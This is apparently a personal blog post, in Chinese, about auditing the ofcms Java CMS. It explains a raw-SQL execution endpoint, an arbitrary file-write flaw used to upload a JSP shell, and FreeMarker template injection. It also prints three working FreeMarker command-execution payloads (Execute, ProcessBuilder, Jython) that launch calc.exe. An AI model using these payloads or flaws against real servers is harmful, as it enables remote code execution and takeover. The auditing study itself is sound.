JAVA审计学习-ofcms审计学习

JAVA代码审计

最近没有学习了
天天到处跑
休息的时候赶紧把审计捡一捡
这里记录自己学习JAVA审计的过程

ofcms的审计学习

一些坑的说明

mysql使用5.6
手动安装后将db-config.properties改成db.properties

SQL注入

后台有一处可执行sql语句的地方
1.jpg
2.png
根据路径定位到漏洞文件
3.png

1
2
3
4
5
6
7
8
9
10
public void create() {
try {
String sql = getPara("sql");
Db.update(sql);
rendSuccessJson();
} catch (Exception e) {
e.printStackTrace();
rendFailedJson(ErrorCode.get("9999"), e.getMessage());
}
}

getPara获取SQL语句以Update方法执行SQL语句

1
Controller 提供了 getPara 系列方法用来从请求中获取参数。getPara 系列方法分为两种类型。 第 一 种 类 型 为 第 一 个 形 参 为 String 的 getPara 系列 方法 。 该 系 列 方法 是对 HttpServletRequest.getParameter(String name)  的 封 装 , 这 类 方 法 都 是 转   调 了 HttpServletRequest.getParameter(String name)。第二种类型为第一个形参为 int 或无形参的 getPara 系列方法。该系列方法是去获取 urlPara 中所带的参数值。getParaMap 与 getParaNames 分别对应 HttpServletRequest 的 getParameterMap 与 getParameterNames。

4.png

任意文件上传

一处保存模板的地方
5.png
感觉上传路径可控
6.png
确实路径可控,且可上传jsp文件
7.png
8.png
可以搜索路径或者参数定位漏洞文件位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void save() {
String resPath = getPara("res_path");
File pathFile = null;
if("res".equals(resPath)){
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}
String dirName = getPara("dirs"); #读取dirs作为上传目录
if (dirName != null) {
pathFile = new File(pathFile, dirName); #dirName与pathFile拼接构造新路径
}
String fileName = getPara("file_name");
// 没有用getPara原因是,getPara因为安全问题会过滤某些html元素。
String fileContent = getRequest().getParameter("file_content");
fileContent = fileContent.replace("&lt;", "<").replace("&gt;", ">");
File file = new File(pathFile, fileName);
FileUtils.writeString(file, fileContent);
rendSuccessJson();
}

保存的过程

1
2
3
4
5
if("res".equals(resPath)){ #判断resPath中有无'res'
pathFile = new File(SystemUtile.getSiteTemplateResourcePath());
}else {
pathFile = new File(SystemUtile.getSiteTemplatePath());
}

1
2
3
4
5
6
7
8
9
10
11
12
public static String getSiteTemplateResourcePath() { #如果有res则上传至根路径+resource+dirs路径
return PathKit.getWebRootPath() + "/resource/" + getSite().getStr("template_path");
}

public static String getSiteTemplatePath() {
return getFrontTemplatePath() + getSite().getStr("template_path");
}

public static String getWebRootPath() { #获取网站根路径
if (webRootPath == null) {
webRootPath = detectWebRootPath();
}

找了个图片路径上传shell
10.png
9.png
没有感觉到拦截

SSTI漏洞

还是那处保存模板的地方
通过pom.xml发现引入Freemaker模板

1
2
3
4
5
<dependency>
<groupId>org.freemarker</groupId>
<artifactId>freemarker</artifactId>
<version>2.3.21</version>
</dependency>

先试一试公开的的Poc(能够获取任意代码执行权限)

1
2
3
4
5
<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")</@value>

11.png
这个先空着

到此结束

参考资料:

如有错误请联系ev@lanbainan.cn

文章目录
  1. 1. JAVA代码审计
    1. 1.1. ofcms的审计学习
      1. 1.1.1. 一些坑的说明
      2. 1.1.2. SQL注入
      3. 1.1.3. 任意文件上传
    2. 1.2. SSTI漏洞
  2. 2. 到此结束